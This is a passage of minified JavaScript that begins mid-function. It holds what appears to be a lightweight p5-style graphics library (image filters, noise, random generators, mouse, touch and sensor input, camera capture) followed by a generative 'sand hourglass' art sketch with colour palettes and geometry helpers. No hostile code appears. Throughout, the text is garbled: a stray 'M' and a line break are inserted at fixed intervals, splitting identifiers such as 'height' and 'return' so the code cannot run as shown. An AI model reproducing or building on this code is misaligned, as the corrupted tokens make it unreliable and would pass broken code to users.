a,r,i),void d()):(o.drawImage(h,t,a,r,i),void d()):(e.MAGIC==n.MAGIC||e.width?o.drawImage(h,t,a,e.width,e.height):o.drawImage(h,t,a,e.videoWidth,e.videoHeight),void d())};n.loadPixels=function(){l=o.getImageData(0,0,n.canvas.width,n.canvas.height),n.pixels=l.data};n.updatePixels=function(){null!=l&&o.putImageData(l,0,0)};n.loadImage=function(e,t){u++;let o=n.createGraphics(100,100),a=o.canvas.getContext("2d"),r=new Image;return r.src=e,r.crossOrigin="Anonymous",r.onload=function(){a.canvas.width=r.width,a.canvas.heM
ight=r.height,o.width=r.width,o.height=r.height,a.drawImage(r,0,0),u--,t&&t(o)},o};let y={};y[n.THRESHOLD]=function(e,t){null==t?t=127.5:t*=255;for(let n=0;n<e.length;n+=4){const o=.2126*e[n]+.7152*e[n+1]+.0722*e[n+2];e[n]=e[n+1]=e[n+2]=o>=t?255:0}};y[n.GRAY]=function(e){for(let t=0;t<e.length;t+=4){const n=.2126*e[t]+.7152*e[t+1]+.0722*e[t+2];e[t]=e[t+1]=e[t+2]=n}};y[n.OPAQUE]=function(e){for(let t=0;t<e.length;t+=4)e[t+3]=255};y[n.INVERT]=function(e){for(let t=0;t<e.length;t+=4)e[t]=255-e[t],e[t+1]=255-e[t+1],e[tM
+2]=255-e[t+2]};y[n.POSTERIZE]=function(e,t){let n=t-1;for(let o=0;o<e.length;o+=4)e[o]=255*(e[o]*t>>8)/n,e[o+1]=255*(e[o+1]*t>>8)/n,e[o+2]=255*(e[o+2]*t>>8)/n};y[n.DILATE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.max(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.ERODE]=function(e){R(),d.set(M
e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.min(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.BLUR]=function(e,t){t=t||1,t=Math.floor(t*n._pixelDensity),R(),d.set(e);let a=2*t+1;let r=function(e){let n=new Float32Array(e),o=.3*t+.8,a=o*o*2;for(let t=0;t<e;t++){let r=t-e/2,i=Math.exp(-r*r/a)/(2.5066282746*o);n[t]=i}reM
turn n}(a),[i,l]=[o.canvas.width,o.canvas.height];for(let n=0;n<l;n++)for(let o=0;o<i;o++){let l=0,u=0,s=0,c=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(o-t+e,0),i-1),h=4*(n*i+a);l+=d[h]*r[e],u+=d[h+1]*r[e],s+=d[h+2]*r[e],c+=d[h+3]*r[e]}let h=4*(n*i+o);e[h]=l,e[h+1]=u,e[h+2]=s,e[h+3]=c}d.set(e);for(let n=0;n<l;n++)for(let o=0;o<i;o++){let u=0,s=0,c=0,h=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(n-t+e,0),l-1),f=4*(a*i+o);u+=d[f]*r[e],s+=d[f+1]*r[e],c+=d[f+2]*r[e],h+=d[f+3]*r[e]}let f=4*(n*i+o);e[f]=u,e[f+1]=sM
,e[f+2]=c,e[f+3]=h}};function w(e,t){null==h&&(h=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),h.canvas.width==e&&h.canvas.height==t||(h.canvas.width=e,h.canvas.height=t)}function R(){let e=o.canvas.width*o.canvas.height*4;null!=d&&e==d.length||(d=new Uint8ClampedArray(e))}function I(e){h.clearRect(0,0,h.canvas.width,h.canvas.height),h.filter=e,h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvasM
,0,0),o.restore()}n.filter=function(e,t){let a=n.HARDWARE_FILTERS&&null!=o.filter;if(a)if(w(),e==n.THRESHOLD){null==t&&(t=.5),t=Math.max(t,1e-5);let e=Math.floor(.5/t*100);I(`saturate(0%) brightness(${e}%) contrast(1000000%)`)}else if(e==n.GRAY)I("saturate(0%)");else if(e==n.OPAQUE)h.fillStyle="black",h.fillRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.drawImage(h.canvas,0,0),o.restore();else if(e==n.INVERT)I("invert(100%)");else if(e==n.BLUR)I(`blur(${Math.ceil(t*M
n._pixelDensity/1)||1}px)`);else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}};n.resize=function(e,t){w(),h.drawImage(o.canvas,0,0),n.width=e,n.height=t,o.canvas.width=e*n._pixelDensity,o.canvas.height=t*n._pixelDensity,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0,o.canvas.width,o.canvas.height),o.restore()};n.getM
=function(e,t,a,r){if(null!=e&&null==a){let a=o.getImageData(e,t,1,1).data;return new n.Color(a[0],a[1],a[2],a[3]/255)}e=e||0,t=t||0,a=a||n.width,r=r||n.height;let i=n.createGraphics(a,r);i.pixelDensity(n._pixelDensity);let l=o.getImageData(e*n._pixelDensity,t*n._pixelDensity,a*n._pixelDensity,r*n._pixelDensity);return i.canvas.getContext("2d").putImageData(l,0,0),i};n.set=function(e,t,a){if(a.MAGIC==n.MAGIC){let o=n._tint;return n._tint=null,n.image(a,e,t),void(n._tint=o)}let r=4*(t*n._pixelDensity*o.canvas.width+M
e*n._pixelDensity);n.pixels[r]=a._r,n.pixels[r+1]=a._g,n.pixels[r+2]=a._b,n.pixels[r+3]=255*a._a};n.tinted=function(){let e=n.color(...Array.from(arguments)),t=e._a;e._a=1,w(),h.clearRect(0,0,h.canvas.width,h.canvas.height),h.fillStyle=e,h.fillRect(0,0,h.canvas.width,h.canvas.height),h.globalCompositeOperation="multiply",h.drawImage(o.canvas,0,0),h.globalCompositeOperation="source-over",o.save(),o.resetTransform();let a=o.globalCompositeOperation;o.globalCompositeOperation="source-in",o.drawImage(h.canvas,0,0),o.glM
obalCompositeOperation=a,o.restore(),h.globalAlpha=t,h.clearRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),h.globalAlpha=1,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()};n.tint=function(){n._tint=n.color(...Array.from(arguments))};n.noTint=function(){n._tint=null};n.mask=function(e){o.save(),o.resetTransform();let t=o.globalCompositeOperation;o.globalCompositeOperation="destination-in",o.drawImage(e.canvas,0,0),o.globalCompositeM
Operation=t,o.restore()};n.clearTemporaryBuffers=function(){h=null,f=null,d=null};n.save=function(e,t){e=e||"untitled",t=t||"png";var n=document.createElement("a");n.innerHTML="[Download]",n.addEventListener("click",function(){this.href=o.canvas.toDataURL(),this.download=e+"."+t},!1),document.body.appendChild(n),n.click(),document.body.removeChild(n)};n.saveCanvas=function(e,t,o){if(e.MAGIC==n.MAGIC){o&&e.save(t,o);let n=t.split(".");return e.save(n.slice(0,-1).join("."),n[n.length-1])}if(t)return n.save(e,t);let aM
=e.split(".");return n.save(a.slice(0,-1).join("."),a[a.length-1])};n.loadFont=function(e,t){let n=e.split("/"),o=n[n.length-1].split(".")[0].replace(" ",""),a=`@font-face {\n        font-family: '${o}';\n        src: url('${e}');\n      }`;const r=document.createElement("style");return r.textContent=a,document.head.append(r),o};n.textFont=function(e){n._textFont=e};n.textSize=function(e){n._textSize=e,n._textLeading=e};n.textLeading=function(e){n._textLeading=e};n.textStyle=function(e){n._textStyle=e};n.textAlign=M
function(e,t){o.textAlign=e,t&&(o.textBaseline=t==n.CENTER?"middle":t)};n.text=function(e,t,a,r){if(!e)return;if(e=e.toString(),n._noFill&&n._noStroke)return;o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`;let i=e.split("\n");for(let e=0;e<i.length;e++)n._noFill||o.fillText(i[e],t,a,r),n._noStroke||o.strokeText(i[e],t,a,r),a+=n._textLeading};n.textWidth=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).width};n.textAscent=function(e){return o.font=`${n._textStyle}M
 ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxAscent};n.textDescent=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxDescent};var E=4;var S=.5;var C=function(e){return.5*(1-Math.cos(e*Math.PI))};var A;n.noise=function(e,t,n){if(t=t||0,n=n||0,null==A){A=new Array(4096);for(var o=0;o<4096;o++)A[o]=Math.random()}e<0&&(e=-e),t<0&&(t=-t),n<0&&(n=-n);for(var a,r,i,l,u,s=Math.floor(e),c=Math.floor(t),h=Math.floor(n),f=e-s,d=t-c,p=n-h,m=0,g=M
.5,v=0;v<E;v++){var M=s+(c<<4)+(h<<8);a=C(f),r=C(d),i=A[4095&M],i+=a*(A[M+1&4095]-i),l=A[M+16&4095],l+=a*(A[M+16+1&4095]-l),i+=r*(l-i),l=A[4095&(M+=256)],l+=a*(A[M+1&4095]-l),u=A[M+16&4095],u+=a*(A[M+16+1&4095]-u),l+=r*(u-l),i+=C(p)*(l-i),m+=i*g,g*=S,s<<=1,c<<=1,h<<=1,(f*=2)>=1&&(s++,f--),(d*=2)>=1&&(c++,d--),(p*=2)>=1&&(h++,p--)}return m};n.noiseDetail=function(e,t){e>0&&(E=e),t>0&&(S=t)};const T=function(){let e,t,n=4294967295;return{setSeed(o){e=t=(null==o?Math.random()*n:o)>>>0},getSeed:()=>t,rand:()=>(e^=e<<17M
,e^=e>>13,((e^=e<<5)>>>0)/n)}};let D=T();D.setSeed();n.noiseSeed=function(e){let t=null==e?4294967295*Math.random():e;A||(A=new Float32Array(4096));for(var n=0;n<4096;n++)t^=t<<17,t^=t>>13,t^=t<<5,A[n]=(t>>>0)/4294967295};n.randomSeed=function(e){D.setSeed(e)};n.random=function(e,t){return"number"==typeof e?null!=t?D.rand()*(t-e)+e:D.rand()*e:e[~~(e.length*D.rand())]};n.randomGenerator=function(e){e==n.LCG?D=function(){const e=4294967296;let t,n;return{setSeed(o){n=t=(null==o?Math.random()*e:o)>>>0},getSeed:()=>t,rM
and:()=>(n=(1664525*n+1013904223)%e)/e}}():e==n.SHR3&&(D=T()),D.setSeed()};var P=new function(){var e,t,n,o=new Array(128),a=new Array(256),r=new Array(128),i=new Array(128),l=new Array(256),u=new Array(256),s=function(){return 4294967296*D.rand()-2147483648},c=function(){return.5+2.328306e-10*(s()<<0)},h=function(){for(var t,a,l,u,h=3.44262;;){if(t=n*r[e],0==e){do{l=c(),u=c(),t=.2904764*-Math.log(l),a=-Math.log(u)}while(a+a<t*t);return n>0?h+t:-h-t}if(i[e]+c()*(i[e-1]-i[e])<Math.exp(-.5*t*t))return t;if(n=s(),e=12M
7&n,Math.abs(n)<o[e])return n*r[e]}},f=function(){for(var n;;){if(0==e)return 7.69711-Math.log(c());if(n=t*l[e],u[e]+c()*(u[e-1]-u[e])<Math.exp(-n))return n;if((t=s())<a[e=255&t])return t*l[e]}};this.SHR3=s,this.UNI=c,this.RNOR=function(){return n=s(),e=127&n,Math.abs(n)<o[e]?n*r[e]:h()},this.REXP=function(){return(t=s()>>>0)<o[e=255&t]?t*l[e]:f()},this.zigset=function(){var e,t,n=2147483648,s=4294967296,c=3.442619855899,h=c,f=.00991256303526217,d=7.697117470131487,p=d,m=.003949659822581572;for(e=f/Math.exp(-.5*c*cM
),o[0]=Math.floor(c/e*n),o[1]=0,r[0]=e/n,r[127]=c/n,i[0]=1,i[127]=Math.exp(-.5*c*c),t=126;t>=1;t--)c=Math.sqrt(-2*Math.log(f/c+Math.exp(-.5*c*c))),o[t+1]=Math.floor(c/h*n),h=c,i[t]=Math.exp(-.5*c*c),r[t]=c/n;for(e=m/Math.exp(-d),a[0]=Math.floor(d/e*s),a[1]=0,l[0]=e/s,l[255]=d/s,u[0]=1,u[255]=Math.exp(-d),t=254;t>=1;t--)d=-Math.log(m/d+Math.exp(-d)),a[t+1]=Math.floor(d/p*s),p=d,u[t]=Math.exp(-d),l[t]=d/s}};P.hasInit=!1;n.randomGaussian=function(e,t){return P.hasInit||(P.zigset(),P.hasInit=!0),P.RNOR()*t+e};n.randomEM
xponential=function(){return P.hasInit||(P.zigset(),P.hasInit=!0),P.REXP()};n.print=console.log;n.cursor=function(e,t,o){let a="";e.includes(".")&&(e=`url("${e}")`,a=", auto"),null!=t&&(e+=" "+t+" "+o),n.canvas.style.cursor=e+a};n.noCursor=function(){n.canvas.style.cursor="none"};n.createCapture=function(e){var t=document.createElement("video");return t.playsinline="playsinline",t.autoplay="autoplay",navigator.mediaDevices.getUserMedia(e).then(function(e){t.srcObject=e}),t.style.position="absolute",t.style.opacity=M
1e-5,t.style.zIndex=-1e3,document.body.appendChild(t),t};let b=["setup","draw","preload","mouseMoved","mousePressed","mouseReleased","mouseDragged","mouseClicked","keyPressed","keyReleased","keyTyped","touchStarted","touchEnded"];for(let e of b){let t="_"+e+"Fn";n[t]=function(){},n[t].isPlaceHolder=!0,n[e]?n[t]=n[e]:Object.defineProperty(n,e,{set:function(e){n[t]=e}})}function z(){n._noLoop||(a=null==n._frameRate?requestAnimationFrame(z):setTimeout(z,1e3/n._frameRate)),x(),r=!0,o.save(),n._drawFn(),o.restore(),n.frM
ameCount++}n.noLoop=function(){n._noLoop=!0,a=null};n.loop=function(){n._noLoop=!1,null==a&&z()};n.redraw=function(){z()};n.frameRate=function(e){n._frameRate=e};setTimeout(function(){n._preloadFn(),c=window.performance.now(),function e(){if(u>0)return setTimeout(e,10);n._setupFn();z()}()},1);n.canvas.onmousemove=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed?n._mouseDraggedFn(e):n._mouseMovedFn(e)};n.canvas.onmousedown=function(e){n.pmouseX=n.mouseX,n.pmousM
eY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n.mouseButton=[n.LEFT,n.CENTER,n.RIGHT][e.button],n._mousePressedFn(e)};n.canvas.onmouseup=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!1,n._mouseReleasedFn(e)};n.canvas.onclick=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n._mouseClickedFn(e),n.mouseIsPressed=!1};window.addEventListener("keydown",function(e){n.keyIsPressed=M
!0,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!0,n._keyPressedFn(e),1==e.key.length&&n._keyTypedFn(e)});window.addEventListener("keyup",function(e){n.keyIsPressed=!1,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!1,n._keyReleasedFn(e)});n.keyIsDown=function(e){return!!s[e]};function O(e){const t=n.canvas.getBoundingClientRect(),o=n.canvas.scrollWidth/n.width||1,a=n.canvas.scrollHeight/n.height||1;return{x:(e.clientX-t.left)/o,y:(e.clientY-t.top)/a,id:e.identifier}}function k(){return n._touchStarted.isPlaceHolder&M
&n._touchMoved.isPlaceHolder&&n._touchEnded.isPlaceHolder}n.canvas.ontouchstart=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mousePressedFn(e)||e.preventDefault()),n._touchStartedFn(e)||e.preventDefault()};n.canvas.ontouchmove=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButtoM
n=n.LEFT,n._mouseDraggedFn(e)||e.preventDefault()),n._touchMovedFn(e)||e.preventDefault()};n.canvas.ontouchend=n.canvas.ontouchcancel=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!1,n._mouseReleasedFn(e)||e.preventDefault()),n._touchEndedFn(e)||e.preventDefault()};n.hasSensorPermission=!window.DeviceOrientationEvent&&!window.DeviceMotionEvent||!(DeviceOrientationEvent.requestPermission||DeviceMotionEvent.requestPeM
rmission);n.requestSensorPermissions=function(){DeviceOrientationEvent.requestPermission&&DeviceOrientationEvent.requestPermission().then(e=>{"granted"==e&&DeviceMotionEvent.requestPermission&&DeviceMotionEvent.requestPermission().then(e=>{"granted"==e&&(n.hasSensorPermission=!0)}).catch(alert)}).catch(alert)};window.ondeviceorientation=function(e){n.pRotationX=n.rotationX,n.pRotationY=n.rotationY,n.pRotationZ=n.rotationZ,n.pRelRotationX=n.relRotationX,n.pRelRotationY=n.relRotationY,n.pRelRotationZ=n.relRotationZ,nM
.rotationX=e.beta*(Math.PI/180),n.rotationY=e.gamma*(Math.PI/180),n.rotationZ=e.alpha*(Math.PI/180),n.relRotationX=[-n.rotationY,-n.rotationX,n.rotationY][1+~~(window.orientation/90)],n.relRotationY=[-n.rotationX,n.rotationY,n.rotationX][1+~~(window.orientation/90)],n.relRotationZ=n.rotationZ};window.ondevicemotion=function(e){if(n.pAccelerationX=n.accelerationX,n.pAccelerationY=n.accelerationY,n.pAccelerationZ=n.accelerationZ,!e.acceleration){let t=((e,t)=>[(e[0]*t[0]+e[1]*t[1]+e[2]*t[2]+e[3])/(e[12]*t[0]+e[13]*t[M
1]+e[14]*t[2]+e[15]),(e[4]*t[0]+e[5]*t[1]+e[6]*t[2]+e[7])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[8]*t[0]+e[9]*t[1]+e[10]*t[2]+e[11])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15])])(((e,t)=>[e[0]*t[0]+e[1]*t[4]+e[2]*t[8]+e[3]*t[12],e[0]*t[1]+e[1]*t[5]+e[2]*t[9]+e[3]*t[13],e[0]*t[2]+e[1]*t[6]+e[2]*t[10]+e[3]*t[14],e[0]*t[3]+e[1]*t[7]+e[2]*t[11]+e[3]*t[15],e[4]*t[0]+e[5]*t[4]+e[6]*t[8]+e[7]*t[12],e[4]*t[1]+e[5]*t[5]+e[6]*t[9]+e[7]*t[13],e[4]*t[2]+e[5]*t[6]+e[6]*t[10]+e[7]*t[14],e[4]*t[3]+e[5]*t[7]+e[6]*t[11]+e[7]*t[15M
],e[8]*t[0]+e[9]*t[4]+e[10]*t[8]+e[11]*t[12],e[8]*t[1]+e[9]*t[5]+e[10]*t[9]+e[11]*t[13],e[8]*t[2]+e[9]*t[6]+e[10]*t[10]+e[11]*t[14],e[8]*t[3]+e[9]*t[7]+e[10]*t[11]+e[11]*t[15],e[12]*t[0]+e[13]*t[4]+e[14]*t[8]+e[15]*t[12],e[12]*t[1]+e[13]*t[5]+e[14]*t[9]+e[15]*t[13],e[12]*t[2]+e[13]*t[6]+e[14]*t[10]+e[15]*t[14],e[12]*t[3]+e[13]*t[7]+e[14]*t[11]+e[15]*t[15]])((e=>[Math.cos(e),0,Math.sin(e),0,0,1,0,0,-Math.sin(e),0,Math.cos(e),0,0,0,0,1])(n.rotationY),(e=>[1,0,0,0,0,Math.cos(e),-Math.sin(e),0,0,Math.sin(e),Math.cos(e)M
,0,0,0,0,1])(n.rotationX)),[0,0,-9.80665]);n.accelerationX=e.accelerationIncludingGravity.x+t[0],n.accelerationY=e.accelerationIncludingGravity.y+t[1],n.accelerationZ=e.accelerationIncludingGravity.z-t[2]}};n.year=function(){return(new Date).getFullYear()};n.day=function(){return(new Date).getDay()};n.hour=function(){return(new Date).getHours()};n.minute=function(){return(new Date).getMinutes()};n.second=function(){return(new Date).getSeconds()};n.millis=function(){return window.performance.now()-c}}(e)}
or{static p;static SAND_COLOR_MODE=3;static getSandColorByIndex(e,t=0,i=30,s=50){e%=5;let a=[];var r,h,n;for(let e=0;e<5;e++){let t=e%5;1==Color.SAND_COLOR_MODE?a.push(o(t)):2==Color.SAND_COLOR_MODE?a.push(l(t)):3==Color.SAND_COLOR_MODE?a.push(d(t)):4==Color.SAND_COLOR_MODE?a.push(m(t)):5==Color.SAND_COLOR_MODE?a.push(p(t)):6==Color.SAND_COLOR_MODE?a.push(g(t)):7==Color.SAND_COLOR_MODE?a.push(c(t)):8==Color.SAND_COLOR_MODE?a.push(u(t)):9==Color.SAND_COLOR_MODE&&a.push(v(t))}return a[e];function o(e){return 0==e?(r=M
t+60,h=i+5,n=s+5):1==e?(r=t+30,h=i+5,n=s+9):2==e?(r=t,h=i,n=s):3==e?(r=t-30,h=i+5,n=s+9):4==e&&(r=t-60,h=i+5,n=s+5),r<0?r+=360:r>360&&(r-=360),chroma(r,h/100,n/100,"hsl")}function l(e){return r=t,0==e?(h=i,n=s+30):1==e?(h=i-30,n=s+8):2==e?(h=i,n=s):3==e?(h=i-30,n=s+30):4==e&&(h=i,n=s-20),h<10&&(h+=60),(0==e||3==e)&&n>100&&(n=s-50),chroma(r,h/100,n/100,"hsl")}function d(e){return 0==e?(r=t-120,h=i+10,n=s-30):1==e?(r=t+120,h=i-10,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t-120,h=i+10,n=s):4==e&&(r=t+120,h=i+10,n=s-30),r>360?r-M
=360:r<0&&(r+=360),h>100&&(h-=20),n>100&&(n-=30),chroma(r,h/100,n/100,"hsl")}function m(e){return 0==e?(r=t,h=i+10,n=s-30):1==e?(r=t,h=i-30,n=s+30):2==e?(r=t,h=i,n=s):3==e?(r=t-180,h=i+20,n=s-30):4==e&&(r=t-180,h=i,n=s),r<0&&(r+=360),chroma(r,h/100,n/100,"hsl")}function p(e){return 0==e?(r=t-150,h=i-10,n=s+30):1==e?(r=t-150,h=i-5,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t+150,h=i+10,n=s+30):4==e&&(r=t+150,h=i+5,n=s),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n>100&&(n-=60),chroma(r,h/100,n/100,"hsl")}function g(e){return 0==M
e?(r=t+60,h=i-5):1==e?(r=t+150,h=i-10):2==e?(r=t,h=i):3==e?(r=t-150,h=i+10):4==e&&(r=t-60,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function c(e){return 0==e?(r=t,h=i+20):1==e?(r=t+90,h=i-10):2==e?(r=t,h=i):3==e?(r=t+180,h=i+10):4==e&&(r=t-90,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function u(e){return 0==e?(r=t+30,h=i+10,n=s+20):1==e?(r=t+30,h=i+40,n=s+40):2==e?(r=t,h=i,n=s):3==e?(r=t+160,h=i+25,n=s+5):4==e&&(r=t+150,h=i+10,n=s+20),r>3M
60&&(r-=360),(0==e||4==e)&&h>100?h-=20:1==e&&h>90?h-=80:3==e&&h>60&&(h-=50),1==e&&n>100?n-=80:(0==e||4==e)&&n>100&&(n-=40),chroma(r,h/100,n/100,"hsl")}function v(e){return r=t,h=i,0==e?n=s-25:1==e?n=s+30:2==e?n=s:3==e?n=s+5:4==e&&(n=s-10),n>100&&(n-=80),chroma(r,h/100,n/100,"hsl")}}static chromaToArray=e=>[e._rgb[0],e._rgb[1],e._rgb[2],255*e._rgb[3]];static setColorMode=e=>{this.SAND_COLOR_MODE=e}}class Geometry{static slicePolyByY(e,t){let i=[];for(let s=0;s<e.length;s++){let a=e[s],r=s?e[s-1]:e.at(-1),h=a.y>=t;h!M
=r.y>=t&&i.push(Geometry.interWithY(r,a,t)),h&&i.push(a)}return i}static getAreaBelowY(e,t){return Geometry.getPolyArea(Geometry.slicePolyByY(e,t))}static getYByAreaBelow(e,t){let[i,s,a,r]=Geometry.getBoundingBox(e,"COORD"),h=s,n=r;for(let i=0;i<30;++i){let i=(h+n)/2;Geometry.getAreaBelowY(e,i)>t?h=i:n=i}return n}static interWithY(e,t,i){let s=e.copy(),a=t.copy(),r=createVector(-1e9,i),h=createVector(1e9,i);return Geometry.intersection(s,a,r,h)}static getPolyArea(e){let t=0;for(let i=0;i<e.length;i++){let s=e[i],a=M
e[(i+1)%e.length],r=createVector(s.x,s.y),h=createVector(a.x,a.y);t+=r.cross(h).z}return t=abs(t)/2,t}static getBoundingBox(e,t="SIZE"){let i=e[0].x,s=e[0].x,a=e[0].y,r=e[0].y;for(let t=0;t<e.length;t++)isNaN(e[t].y)||(a=min(a,e[t].y),r=max(r,e[t].y)),isNaN(e[t].x)||(i=min(i,e[t].x),s=max(s,e[t].x));return"SIZE"==t?[i,a,s-i,r-a]:"COORD"==t?[i,a,s,r]:[]}static intersection(e,t,i,s){let a=createVector(t.x-e.x,t.y-e.y),r=createVector(s.x-i.x,s.y-i.y),h=createVector(i.x-e.x,i.y-e.y),n=(a.copy().rotate(PI/2),r.copy().roM
tate(PI/2)),o=h.dot(n)/a.dot(n),l=a.mult(o);return createVector(e.x+l.x,e.y+l.y)}}class GraphicUtils{static applyMask(e,t){e.push(),e.noStroke(),e.blendMode(REMOVE),e.fill(255,255,255,255),e.beginShape(),e.vertex(0,0),e.vertex(0,e.height),e.vertex(e.width,e.height),e.vertex(e.width,0),e.beginContour();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endContour(),e.endShape(e.CLOSE),e.blendMode(BLEND),e.pop()}}class Hourglass{static TICK_INTERVAL=60;static ROTATE_INTERVAL=10/3;constructor(e,t){this.evolvePeriod=M
e.evolvePeriod,t.registerIterationChangeEvent(this.onIterationChange.bind(this));let i=t.getCurrentIteration();this.onIterationChange(i),this.update(new Date)}onIterationChange(e){this.flipped=e%2==1}getState(){return{top:this.top,rotation:this.rotation,flipped:this.flipped,timeSinceRotation:this.timeSinceRotation}}update(e){let t,i=0;if(traits.evolvePeriod==EvolvePeriod.HOURLY)t=3600,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.DAILY)t=86400,i+=60*e.geM
tHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.MONTHLY){let s=e.getFullYear(),a=e.getMonth()+1;t=24*new Date(s,a,0).getDate()*60*60,i+=24*(e.getDate()-1)*60*60,i+=60*e.getHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3}this.flipped?this.top=1-min(1,i/t):this.top=min(1,i/t),this.timeSinceRotation=max(0,i-Hourglass.ROTATE_INTERVAL);let s=Math.min(i,Hourglass.ROTATE_INTERVAL);this.rotation=this.flipped?PI:0,this.rotatM
ion+=s/Hourglass.ROTATE_INTERVAL*PI}}function getRandomInt(e,t){return floor(random(e,t))}function getRandomItem(e){let t=0;for(const i of e)t+=i[1];let i=random(t),s=0;for(const t of e)if(s+=t[1],i<s)return t[0];return null}function shuffle(e){for(let t=1;t<e.length;++t){let i=getRandomInt(0,t),s=e[t];e[t]=e[i],e[i]=s}}class PostProcessing{constructor(e,t,i){this.wCanvas=e,this.hCanvas=t,this.graphic=createGraphics(this.wCanvas,this.hCanvas),this.updateFilter(1)}updateFilter(e,t,i){this.graphic.fill(255,255,255,25M
5),this.graphic.blendMode(REMOVE),this.graphic.rect(0,0,this.wCanvas,this.hCanvas),this.graphic.blendMode(BLEND);let s,a=this.wCanvas/2,r=this.hCanvas/2,h=2*sqrt(a*a+r*r);s=a>r?sqrt(1-Math.pow(r/a,2)):sqrt(1-Math.pow(a/r,2));let n,o;if(1!=abs(e)){let t,i;3==abs(e)?(t=6,i=.6):10==abs(e)?(t=4,i=.5):60==abs(e)?(t=3,i=.4):3600==abs(e)&&(t=2,i=.3),o=i-.1,n=map(sin(Date.now()/1e3/t*TAU),-1,1,i-.1,i+.1)}else i?(o=1,n=1):(o=.75,n=.75);this.graphic.push(),this.graphic.ellipseMode(RADIUS),this.graphic.translate(a,r);for(let M
e=39;e>=0;e--){let t=(e+1)/40;if(1==o||map(t,o,1,0,1.2)<=0)break;let i=max(map(t,n,1,0,1.2),0),s=color(0,0,0,255*i);this.graphic.fill(s),this.graphic.noStroke(),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),e>0&&(t=e/40,this.graphic.fill(255,255,255,255),this.graphic.blendMode(REMOVE),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),this.graphic.blendMode(BLEND))}this.graphic.pop()}applyToMainCanvas(){image(this.graphic,0,0)}}class BackgroundRenderer{constructor(e,t,i,s,a,r){this.wCanvas=e.width,this.hCanvas=eM
